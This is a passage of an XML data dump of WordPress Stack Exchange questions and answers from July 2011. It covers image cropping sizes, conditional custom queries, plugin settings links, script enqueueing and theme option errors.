&quot;If the user check the 1, 2, 3 boxes for stars ; then display all posts which have 1, 2, and/or 3 stars within X city&quot;. Is it possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you in advance for your help!&lt;/p&gt;&#xA;" OwnerUserId="7131" LastActivityDate="2011-07-27T11:33:13.297" Title="Enable search filtering through multiple custom fields" Tags="&lt;custom-field&gt;&lt;search&gt;" />
  <row Id="24204" PostTypeId="2" ParentId="24202" CreationDate="2011-07-27T12:00:10.217" Score="0" ViewCount="" Body="&lt;p&gt;If the critical dimension is height, you have a couple options:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hard-cropping to the exact width/height:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;add_image_size( 'wide-image-icon', 200, 150, true );&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The hard-crop will create a thumbnail size using the &lt;em&gt;exact&lt;/em&gt; dimensions. Be sure that all images have a minimum width/height as what is defined.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or soft-cropping (i.e. &quot;box-resizing&quot;) constrained to height:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;add_image_size( 'wide-image-icon', 9999, 150, soft );&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The soft-crop with an unconstrained dimension (i.e. &lt;code&gt;9999&lt;/code&gt; width) will box-resize to the exact &lt;em&gt;height&lt;/em&gt;, while allowing the &lt;em&gt;width&lt;/em&gt; to be, essentially, anything. Be sure that all images have a minimum height as what is defined.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also: make sure that, if you have added these &lt;code&gt;add_image_size()&lt;/code&gt; functions after already uploading/attaching some images, that you &lt;strong&gt;regenerate your thumbnails&lt;/strong&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-07-27T12:00:10.217" CommentCount="1" />
  <row Id="24205" PostTypeId="1" AcceptedAnswerId="24206" CreationDate="2011-07-27T12:50:03.030" Score="0" ViewCount="43" Body="&lt;p&gt;I think thats what its called...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically a conditional statement if there are any posts in a specific custom post type/custom taxonomy, show posts, it not show an img or include whatever…?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But cycle through a few custom post types?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Checking in each if there is a post in the featured custom tax and if not skip on to the next one, ending up if a temp image or something...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So a conditional tag with query i suppose…&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if&#xA;&amp;lt;?php $loop = new WP_Query( array( 'post_type' =&amp;gt; 'profile','profile-type' =&amp;gt; 'featured','posts_per_page' =&amp;gt; '-1' ) ); ?&amp;gt;&#xA;show post details&#xA;&#xA;else if&#xA;&amp;lt;?php $loop = new WP_Query( array( 'post_type' =&amp;gt; 'films','film-type' =&amp;gt; 'featured','posts_per_page' =&amp;gt; '-1' ) ); ?&amp;gt;&#xA;show post details&#xA;&#xA;etc etc&#xA;&#xA;else&#xA;show include or temp image&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can it be done, or asking a bit too much of the technology? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks for any help :)&lt;/p&gt;&#xA;" OwnerUserId="7384" LastActivityDate="2011-07-27T23:23:36.913" Title="Conditional Tag Custom Querys?" Tags="&lt;query&gt;&lt;conditional-tags&gt;" AnswerCount="1" />
  <row Id="24206" PostTypeId="2" ParentId="24205" CreationDate="2011-07-27T13:00:55.920" Score="0" ViewCount="" Body="&lt;p&gt;You can use the &lt;code&gt;have_posts&lt;/code&gt; function. For more information, visit &lt;a href=&quot;http://codex.wordpress.org/The_Loop&quot; rel=&quot;nofollow&quot;&gt;The Loop&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$loop1 = new WP_Query( array( &#xA;    'post_type' =&amp;gt; 'profile',&#xA;    'profile-type' =&amp;gt; 'featured',&#xA;    'posts_per_page' =&amp;gt; '-1' ) );&#xA;$loop2 = new WP_Query( array( &#xA;    'post_type' =&amp;gt; 'films',&#xA;    'film-type' =&amp;gt; 'featured',&#xA;    'posts_per_page' =&amp;gt; '-1' ) );&#xA;&#xA;if($loop1-&amp;gt;have_posts()) {&#xA;    while($loop1-&amp;gt;have_posts()) {&#xA;        $loop1-&amp;gt;the_post();&#xA;        // content here&#xA;    }&#xA;} elseif($loop2-&amp;gt;have_posts()) {&#xA;    while($loop1-&amp;gt;have_posts()) {&#xA;        $loop1-&amp;gt;the_post();&#xA;        // content here&#xA;    }&#xA;} else {&#xA;    // content if all else fails&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="1878" LastEditorDisplayName="" LastEditDate="2011-07-27T23:23:36.913" LastActivityDate="2011-07-27T23:23:36.913" CommentCount="3" />
  <row Id="24208" PostTypeId="1" CreationDate="2011-07-27T13:22:53.343" Score="0" ViewCount="19" Body="&lt;p&gt;My plugin has a settings page. It's working fine. Now, i want to put a html link within this page. This link will go to another settings page. How could I do that?&#xA;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="7356" LastActivityDate="2011-08-27T10:35:23.647" Title="HTML link within my plugin settings page" Tags="&lt;plugins&gt;&lt;plugin-development&gt;&lt;urls&gt;&lt;wordpress.org&gt;&lt;link&gt;" AnswerCount="1" />
  <row Id="24209" PostTypeId="2" ParentId="24160" CreationDate="2011-07-27T13:30:32.400" Score="0" ViewCount="" Body="&lt;p&gt;What about changing the path for &lt;code&gt;get_template_directory_uri()&lt;/code&gt; like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot; src=&quot;&amp;lt;?php echo get_template_directory_uri(); ?&amp;gt;/js/jquery-1.3.2.min.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You could also use &lt;code&gt;TEMPLATEPATH&lt;/code&gt; to get the path, not the uri. But anyway, why don't you just include those lines directly in the header?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you like to use &lt;code&gt;wp_enqueue_script&lt;/code&gt; you have to remember hook it to an action, so your &lt;code&gt;tracking.php&lt;/code&gt; would look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function register_scripts() {&#xA;    wp_enqueue_script('jquery');&#xA;    wp_register_script('jquerycookie', get_template_directory_uri() . '/js/jquery-1.3.2.min.js', array('jquery'));&#xA;    wp_enqueue_script('jquerycookie');&#xA;}&#xA;add_action('wp_enqueue_scripts', 'register_scripts');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That will register the new script (&lt;code&gt;/js/jquery.cookie.js&lt;/code&gt;) and print it with the other scripts. I'm not sure if it's really necessary to include jQuery as it should be already included, just to be sure you can add this at the beginning of the function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_deregister_script( 'jquery' );&#xA;wp_register_script( 'jquery', 'http://ajax.googleapis.com/ajax/libs/jquery/1.6/jquery.min.js');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As I said, it's not necessary as jQuery should be included by default, but who knows.&lt;/p&gt;&#xA;" OwnerUserId="7361" LastEditorUserId="7361" LastEditorDisplayName="" LastEditDate="2011-07-27T16:06:10.723" LastActivityDate="2011-07-27T16:06:10.723" CommentCount="2" />
  <row Id="24210" PostTypeId="2" ParentId="24208" CreationDate="2011-07-27T13:33:24.350" Score="0" ViewCount="" Body="&lt;p&gt;Just use old simple HTML, the &lt;code&gt;&amp;lt;a&amp;gt;&lt;/code&gt; tag.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;admin.php?page=yourplugin/another-page.php&quot; title=&quot;another page&quot;&amp;gt;Another Page&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If your page is php only:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo '&amp;lt;a href=&quot;admin.php?page=yourplugin/another-page.php&quot; title=&quot;another page&quot;&amp;gt;Another Page&amp;lt;/a&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where &lt;code&gt;yourplugin&lt;/code&gt; is your plugin folder name, and &lt;code&gt;another-page.php&lt;/code&gt; is that other page.&lt;/p&gt;&#xA;" OwnerUserId="7361" LastEditorUserId="7361" LastEditorDisplayName="" LastEditDate="2011-07-27T14:00:29.177" LastActivityDate="2011-07-27T14:00:29.177" CommentCount="2" />
  <row Id="24211" PostTypeId="1" CreationDate="2011-07-27T14:10:05.627" Score="0" ViewCount="21" Body="&lt;p&gt;I user Core Control plugin to test scheduled events. When I 'run now' I am directed to a page showing 404 and the task itself is half completed. (The task is to import RSS feeds from some sources). I guess &lt;code&gt;max_execution_time&lt;/code&gt; value set in php.ini expires. Am I right? Could it be some other problem?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Don't we have some WordPress or PHP exception thrown when it happens?&lt;/p&gt;&#xA;" OwnerUserId="6076" LastActivityDate="2011-07-27T14:10:05.627" Title="404 on running scheduled events" Tags="&lt;php&gt;&lt;404-error&gt;&lt;wp-cron&gt;" FavoriteCount="0" />
  <row Id="24212" PostTypeId="1" CreationDate="2011-07-27T14:16:26.763" Score="0" ViewCount="15" Body="&lt;p&gt;When it comes to code like PHP, I'm pretty much a nub and Im hoping someone could offer me some much needed assistance for this widget I want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, I have a custom post for Football players profiles, this post type is called players and I want to have it set so that when I create a new blog, news or any kind of post where a certain players name is featured, this widget will appear with a link to that players profile.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A great example of this can be seen on the this website:&#xA;&lt;a href=&quot;http://www.skysports.com/story/0,19528,11661_7063676,00.html&quot; rel=&quot;nofollow&quot;&gt;http://www.skysports.com/story/0,19528,11661_7063676,00.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you look to the right hand side of the page, there is a related player profiles widget of such, with a small image of the player and a link to his profile.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I emailed Scribu, due to his post 2 post plugin and thought it may be done with plugin, he kindly replied saying that its possible and I should use this code:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/scribu/wp-posts-to-posts/wiki/Related-posts&quot; rel=&quot;nofollow&quot;&gt;https://github.com/scribu/wp-posts-to-posts/wiki/Related-posts&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and put it into a widget, now this is where it goes beyond my knowledge so I was hoping someone could give me a bit of assistance if possible please?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&#xA;Danny &lt;/p&gt;&#xA;" OwnerUserId="7389" LastActivityDate="2011-07-27T14:16:26.763" Title="Related player profiles widget using Scribu's related post code?" Tags="&lt;posts&gt;&lt;widgets&gt;" />
  <row Id="24213" PostTypeId="1" AcceptedAnswerId="24258" CreationDate="2011-07-27T14:20:00.300" Score="0" ViewCount="30" Body="&lt;p&gt;I'm writing a custom signup script for users to register with on my MU-setup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One problem I'm having is that &lt;code&gt;wpmu_signup_user()&lt;/code&gt; sends the password activation email but it doesn't return the user ID which I need for the rest of the script. - It's my understanding that this doesn't create the user account, just an entry in the &quot;signup&quot; table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other way I've tried is using &lt;code&gt;wp_create_user()&lt;/code&gt; which returns the user ID I need (as it creates the user properly) but no email for the user.&lt;/p&gt;&#xA;" OwnerUserId="3669" LastActivityDate="2011-07-27T21:39:20.320" Title="Need to manually regsiter user, send the password and retreive their user ID" Tags="&lt;multisite&gt;&lt;email&gt;&lt;password&gt;&lt;signup&gt;" AnswerCount="2" />
  <row Id="24214" PostTypeId="1" CreationDate="2011-07-27T14:23:30.297" Score="0" ViewCount="6" Body="&lt;p&gt;does anybody know of an RSS feed (in to the blog from an external source) plugin that will allow me to approve individual news items within the given RSS feed before they show on my blog? I'd also like to be able to show multiple rss widgets each with a different feed if possible but cant find a plugin that does the approval part.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've seen an RSS 2 post feed plugin that does this but not a widget plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any help&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ben&lt;/p&gt;&#xA;" OwnerUserId="7390" LastActivityDate="2011-07-27T14:23:30.297" Title="RSS widget with approval of feed items" Tags="&lt;plugins&gt;&lt;rss&gt;" />
  <row Id="24215" PostTypeId="2" ParentId="24213" CreationDate="2011-07-27T14:40:54.200" Score="1" ViewCount="" Body="&lt;p&gt;Send the email yourself within your signup script with the &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_mail&quot; rel=&quot;nofollow&quot;&gt;wp_mail&lt;/a&gt; function.&lt;/p&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-07-27T14:40:54.200" />
  <row Id="24216" PostTypeId="1" AcceptedAnswerId="24230" CreationDate="2011-07-27T15:03:48.827" Score="0" ViewCount="16" Body="&lt;p&gt;Now I've never really used Wordpress with more than one author and it's usually been myself so I've followed no editorial process, but with my new site, I'm looking to add a handful of users to the Author role.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand there's many roles with different permissions within Wordpress already, but I can't seem to find whether or not there's an option or any documentation about setting WP up so that when Authors submit an article it should go to the Editor group for approval before anything gets published (editors are notified of new pending items via e-mail). Is this possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or does it work like this by default? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I don't know, I thought I'd ask here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any help in advance&lt;/p&gt;&#xA;" OwnerUserId="1177" LastActivityDate="2011-07-27T16:10:41.670" Title="Editorial Process" Tags="&lt;author&gt;&lt;editor&gt;&lt;posting&gt;" AnswerCount="1" />
  <row Id="24217" PostTypeId="1" CreationDate="2011-07-27T15:07:57.660" Score="0" ViewCount="29" Body="&lt;p&gt;I have a custom post type called &quot;Industries&quot;. I can create this custom post type and specify metadata fields so that when creating a new industry I can manage properties. This isn't the problem that I'm having.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a Industry Landing page (archive view) where I display a listing of all the industries that have been created. I can do this no problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The landing page also has a view html regions that need to be on that view. If it was just me managing this project I would just hard code those html regions into the archive-industries.php template. But this doesn't work because the client will need to be able to modify this information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does &lt;/p&gt;&#xA;" OwnerUserId="7391" LastActivityDate="2011-07-27T15:07:57.660" Title="Metadata for Custom Post Type Archive View" Tags="&lt;custom-post-types&gt;&lt;custom-post-type-archives&gt;" />
  <row Id="24218" PostTypeId="2" ParentId="24160" CreationDate="2011-07-27T15:08:47.257" Score="0" ViewCount="" Body="&lt;p&gt;&lt;code&gt;wp_enqueue_script()&lt;/code&gt; can handle the ability to include javascript instantly as well as check for dependancies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A simple php function: &lt;code&gt;&amp;lt;?php wp_enqueue_script('jQuery') ?&amp;gt;&lt;/code&gt; in the your &lt;code&gt;tracker.php&lt;/code&gt; file (or the &lt;code&gt;header.php&lt;/code&gt;) will load jquery instantly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You then your other script &lt;code&gt;&amp;lt;?php wp_enqueue_script('jquery_cookie', TEMPLATEPATH. 'js/jquery.cookie.js', 'jquery')&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;And finally together:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?php &#xA;    function mysite_init() {&#xA;        if (!is_admin()) { // only fire this on non-admin pages&#xA;        wp_enqueue_script('jquery');&#xA;        wp_enqueue_script('jquery_cookie', TEMPLATEPATH. 'js/jquery.cookie.js', 'jquery'); &#xA;}&#xA;    }&#xA;    // Add your hook to fix issue #11526 http://core.trac.wordpress.org/ticket/11526&#xA;    add_action ('init', 'mysite_init');&#xA;    ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5149" LastEditorUserId="5149" LastEditorDisplayName="" LastEditDate="2011-07-27T16:31:58.027" LastActivityDate="2011-07-27T16:31:58.027" />
  <row Id="24220" PostTypeId="1" AcceptedAnswerId="24378" CreationDate="2011-07-27T08:26:21.103" Score="2" ViewCount="43" Body="&lt;p&gt;I want to make the following happen in Wordpress &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;People answer questions in paginated or single page form.&lt;/li&gt;&#xA;&lt;li&gt;Each next set of options is dependent on the option the user selects preiviously&lt;/li&gt;&#xA;&lt;li&gt;At the end, the user is directed to a page which is a common ending for all questionnaire trees.&lt;/li&gt;&#xA;&lt;li&gt;All this questionnaire options can be viewed/exported&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Question:&lt;/strong&gt; How can this be done? or if there is a plugin available for a similar purpose?  If not wordpress, is there another CMS that offers this?&lt;/p&gt;&#xA;" OwnerUserId="7417" LastEditorUserId="1381" LastEditorDisplayName="" LastEditDate="2011-07-27T16:05:46.213" LastActivityDate="2011-07-28T22:36:25.087" Title="Non-Linear Questionnaires in Wordpress" Tags="&lt;plugin-recommendation&gt;&lt;pagination&gt;&lt;forms&gt;&lt;export&gt;&lt;questionnaire&gt;" AnswerCount="2" CommentCount="3" />
  <row Id="24221" PostTypeId="1" CreationDate="2011-07-27T15:13:45.210" Score="0" ViewCount="19" Body="&lt;p&gt;I have looked everywhere but I cant see any clear answers, a lot about getting a thumbnail image. But I am after having the thumbnail which was uploaded to the post to also be in the post just made.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So it automatically puts the image in the post (top left corner for example) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you&lt;/p&gt;&#xA;" OwnerUserId="6999" LastActivityDate="2011-07-27T16:20:59.000" Title="Thumbnail Image to go in the post aswell" Tags="&lt;posts&gt;&lt;image&gt;&lt;single&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="24222" PostTypeId="1" CreationDate="2011-07-27T15:27:18.167" Score="0" ViewCount="26" Body="&lt;p&gt;We're using the Feed Wordpress (Syndication) plugin to ingest external feeds resulting in posts published in WordPress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The plugin pulls the 'source' URL from the feed. We can display the source URL fine against the post on home and post page, but if the feed owner did not include a source URL, it does not exist.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We want to be able to pull the source URL from the feed into a custom field, so that the URL populates the custom field. If the feed has no source URL, then the editor/contributor can access the post editor and add one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to pull the source URL from Feed WordPress (or any other plugin that uses feeds) and populate a custom field with the URL if exists. If not, then the user can add one?&lt;/p&gt;&#xA;" OwnerUserId="4833" LastActivityDate="2011-08-10T14:05:04.003" Title="Add source URL from Feed WordPress (Syndication) plugin to a custom field in post editor" Tags="&lt;custom-field&gt;&lt;urls&gt;&lt;feedwordpress&gt;" AnswerCount="1" />
  <row Id="24223" PostTypeId="1" AcceptedAnswerId="24225" CreationDate="2011-07-27T15:34:10.017" Score="1" ViewCount="27" Body="&lt;p&gt;I am using the theme-options.php file from ThemeShaper:&#xA;&lt;a href=&quot;http://themeshaper.com/2010/06/03/sample-theme-options/&quot; rel=&quot;nofollow&quot;&gt;http://themeshaper.com/2010/06/03/sample-theme-options/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can succesfully add new dropdown options, however when I add a new text input I receieve this error when I view it in the admin area (I added the THEME_DIRECTORY):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;br /&amp;gt; &amp;lt;b&amp;gt;Notice&amp;lt;/b&amp;gt;:  Undefined index:  cpt_sm_dribbble_handle in &amp;lt;b&amp;gt;/[THEME_DIRECTORY]/theme-options.php&amp;lt;/b&amp;gt; on line &amp;lt;b&amp;gt;359&amp;lt;/b&amp;gt;&amp;lt;br /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I change the input value to something else and save it, it works fine and never gives an error again. However I don't want this error message to appear to users. I would rather it just appear blank since there is no value inputted yet. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suspect that I'm getting this error because the database doesn't recognize this new option. And I think I need some sort of verification in my code to say if this doesn't exist set the value to null. Though I'm not sure if this really is the problem and if so how to fix it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the minimized code for my options file and for a new text option (I've noted the line that is throwing the error):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('admin_init', 'cpt_options_init');&#xA;add_action('admin_menu', 'theme_options_add_page');&#xA;&#xA;function cpt_options_init() {&#xA;    register_setting('cpt_options', 'cpt_theme_options', 'theme_options_validate');&#xA;}&#xA;&#xA;function theme_options_add_page() {&#xA;    add_theme_page('Theme Options', 'Theme Options', 'edit_theme_options', 'theme_options', 'theme_options_do_page');&#xA;}&#xA;&#xA;function theme_options_do_page() {&#xA;    global $sm_select_options;&#xA;&#xA;    if (!isset($_REQUEST['settings-updated']))&#xA;        $_REQUEST['settings-updated'] = false;&#xA;?&amp;gt;&#xA;&#xA;    &amp;lt;form method=&quot;post&quot; action=&quot;options.php&quot;&amp;gt;&#xA;        &amp;lt;?php settings_fields('cpt_options'); ?&amp;gt;&#xA;        &amp;lt;?php $options = get_option('cpt_theme_options'); ?&amp;gt;&#xA;&#xA;        &amp;lt;tr valign=&quot;top&quot;&amp;gt;&#xA;            &amp;lt;th scope=&quot;row&quot;&amp;gt;Dribbble&amp;lt;/th&amp;gt;&#xA;            &amp;lt;td&amp;gt;&#xA;                &amp;lt;label class=&quot;description&quot; for=&quot;cpt_theme_options[cpt_sm_dribbble_handle]&quot;&amp;gt;Dribbble Username&amp;lt;/label&amp;gt;&#xA;                &amp;lt;input id=&quot;cpt_theme_options[cpt_sm_dribbble_handle]&quot; class=&quot;regular-text&quot; type=&quot;text&quot; name=&quot;cpt_theme_options[cpt_sm_dribbble_handle]&quot; value=&quot;&amp;lt;?php esc_attr_e($options['cpt_sm_dribbble_handle']); ?&amp;gt;&quot; /&amp;gt; // THIS IS THE LINE THAT IS THROWING THE ERROR (line 359)&#xA;            &amp;lt;/td&amp;gt;&#xA;        &amp;lt;/tr&amp;gt;&#xA;&#xA;    &amp;lt;/form&amp;gt;&#xA;&#xA;&amp;lt;?php&#xA;}&#xA;&#xA;function theme_options_validate($input) {&#xA;    global $sm_select_options;&#xA;&#xA;    // Say our text option must be safe text with no HTML tags&#xA;    $input['cpt_sm_dribbble_feed'] = wp_filter_nohtml_kses($input['cpt_sm_dribbble_feed']);&#xA;&#xA;    return $input;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any ideas on what I'm doing wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your time.&lt;/p&gt;&#xA;" OwnerUserId="7392" LastActivityDate="2011-07-27T15:55:27.630" Title="New custom theme option (text input) giving index error" Tags="&lt;themes&gt;&lt;options&gt;&lt;validation&gt;&lt;input&gt;" AnswerCount="1" />
  <row Id="24224" PostTypeId="2" ParentId="23959" CreationDate="2011-07-27T15:53:16.910" Score="0" ViewCount="" Body="&lt;p&gt;I'll answer my own question so that the results are in the discussion thread.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All of the suggestions I've seen don't seem to work with the current version of WordPress (3.2).  There are some widgets which will execute PHP script directly, used in conjunction with the correct query, this qualifies as a solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Plugins with PHP capability:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;PHP Code Widget &lt;a href=&quot;http://wordpress.org/extend/plugins/php-code-widget/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/php-code-widget/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Exec-PHP &lt;a href=&quot;http://wordpress.org/extend/plugins/exec-php/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/exec-php/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I used PHP Code Widget myself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The query:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php wp_list_categories('show_count=1&amp;amp;exclude=12,24&amp;amp;title_li='); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(or similar).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You still need to lookup the value of the category or categories to exclude; in this case, I excluded categories 12 and 24&lt;/p&gt;&#xA;" OwnerUserId="3744" LastActivityDate="2011-07-27T15:53:16.910" />
  <row Id="24225" PostTypeId="2" ParentId="24223" CreationDate="2011-07-27T15:55:27.630" Score="1" ViewCount="" Body="&lt;p&gt;Wrap the call in an &lt;code&gt;isset()&lt;/code&gt; conditional in this line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input id=&quot;cpt_theme_options[cpt_sm_dribbble_handle]&quot; class=&quot;regular-text&quot; type=&quot;text&quot; name=&quot;cpt_theme_options[cpt_sm_dribbble_handle]&quot; value=&quot;&amp;lt;?php esc_attr_e($options['cpt_sm_dribbble_handle']); ?&amp;gt;&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Try something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$cpt_sm_dribbble_handle = ( isset( $options['cpt_sm_dribbble_handle']) ? $options['cpt_sm_dribbble_handle']) : '' );&#xA;&#xA;&amp;lt;input id=&quot;cpt_theme_options[cpt_sm_dribbble_handle]&quot; class=&quot;regular-text&quot; type=&quot;text&quot; name=&quot;cpt_theme_options[cpt_sm_dribbble_handle]&quot; value=&quot;&amp;lt;?php esc_attr_e($cpt_sm_dribbble_handle); ?&amp;gt;&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: your other alternative is to &lt;em&gt;set default options&lt;/em&gt; on init, so that this option is set to some default value, e.g. an empty string.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-07-27T15:55:27.630" CommentCount="1" />
  <row Id="24226" PostTypeId="2" ParentId="24158" CreationDate="2011-07-27T15:56:39.120" Score="0" ViewCount="" Body="&lt;p&gt;After more investigation last night, I discovered the problem lay in a malformed PHP file within my very simple child theme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The child theme was just a stylesheet and a PHP file, so it wasn't difficult to determine where the problem lay within the theme. A quick look at the PHP showed that it included just  &lt;code&gt;&amp;lt;?php?&amp;gt;&lt;/code&gt;. I deleted the file and now everything is working again.&lt;/p&gt;&#xA;" OwnerUserId="7364" LastActivityDate="2011-07-27T15:56:39.120" CommentCount="0" />
  <row Id="24227" PostTypeId="2" ParentId="24220" CreationDate="2011-07-27T15:57:10.993" Score="1" ViewCount="" Body="&lt;p&gt;I don't know of any plugin that does what you want, but you could implement your logic in the index.php or page.php, and simply include templates based on the contents of &lt;code&gt;$_POST&lt;/code&gt;. The only thing to remember is to pass the values received at the subsequent stages of the form to the next stage (you can generate &lt;code&gt;&amp;lt;input type=&quot;hidden&quot;&amp;gt;&lt;/code&gt; fields). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, you may contain the entire form with all its branches in one template, and switch the branches on and off with javascript. jQuery makes it very easy to watch the form contents change, and to hide and show relevant parts of the form. This solution would enable you to use an existing form-building plugin, such as this powerful one: &lt;a href=&quot;http://wordpress.org/extend/plugins/contact-form-7/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/contact-form-7/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7352" LastActivityDate="2011-07-27T15:57:10.993" />
